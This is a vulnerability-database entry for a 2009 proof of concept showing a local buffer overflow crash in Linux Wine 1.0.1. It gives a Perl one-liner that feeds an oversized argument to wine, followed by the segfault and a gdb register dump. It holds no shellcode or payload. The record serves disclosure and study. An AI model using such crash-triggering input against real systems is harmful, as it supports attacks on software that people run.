Lucene search
+L

Wine 1.0.1 Buffer Overflow

🗓️ 30 Mar 2009 00:00:00Reported by Jonathan SalwanType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 27 Views

Linux Wine v1.0.1 Buffer Overflow (PoC

Code
`Linux Wine v1.0.1 Local Buffer Overflow (PoC)   
  
Author : Jonathan Salwan  
Mail : submit [AT] shell-storm.org  
Web : http://www.shell-storm.org  
  
  
Wine installed/tested with : -ubuntu 8.10 (kernel 2.6.27)   
-gcc version 4.3.2 (Ubuntu 4.3.2-1ubuntu12)  
  
  
Proof of Concept:  
--------------------------------------------------------------------------------------  
  
submit@submit-laptop:~$ wine --version  
wine-1.0.1  
submit@submit-laptop:~$ wine `perl -e "print('AAAA'x10000)"`  
Erreur de segmentation  
submit@submit-laptop:~$  
  
--------------------------------------------------------------------------------------  
  
submit@submit-laptop:~$ gdb /usr/bin/wine  
GNU gdb 6.8-debian  
Copyright (C) 2008 Free Software Foundation, Inc.  
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>  
This is free software: you are free to change and redistribute it.  
There is NO WARRANTY, to the extent permitted by law. Type "show copying"  
and "show warranty" for details.  
This GDB was configured as "i486-linux-gnu"...  
(no debugging symbols found)  
(gdb) run `perl -e "print('AAAA'x10000)"`  
Starting program: /usr/bin/wine `perl -e "print('AAAA'x10000)"`  
(no debugging symbols found)  
(no debugging symbols found)  
(no debugging symbols found)  
(no debugging symbols found)  
[Thread debugging using libthread_db enabled]  
(no debugging symbols found)  
(no debugging symbols found)  
[New Thread 0xb7c346b0 (LWP 11082)]  
[New Thread 0xb7c33b90 (LWP 11087)]  
[Thread 0xb7c33b90 (LWP 11087) exited]  
[New process 11082]  
Executing new program: /usr/bin/wine-preloader  
(no debugging symbols found)  
warning: Cannot initialize thread debugging library: generic error  
warning: Cannot initialize thread debugging library: generic error  
[New process 11082]  
  
Program received signal SIGSEGV, Segmentation fault.  
0x7bc42e9e in ?? ()  
(gdb) i r  
eax 0x110108 1114376  
ecx 0x17170 94576  
edx 0x410041 4259905  
ebx 0x7bc8aff4 2076749812  
esp 0xbfded9c0 0xbfded9c0  
ebp 0xbfded9e8 0xbfded9e8  
esi 0x1411d0 1315280  
edi 0x158340 1409856  
eip 0x7bc42e9e 0x7bc42e9e  
eflags 0x10202 [ IF RF ]  
cs 0x73 115  
ss 0x7b 123  
ds 0x7b 123  
es 0x7b 123  
fs 0x33 51  
gs 0x3b 59  
(gdb)  
--------------------------------------------------------------------------------------  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Mar 2009 00:00Current
0.6Low risk
Vulners AI Score0.6
27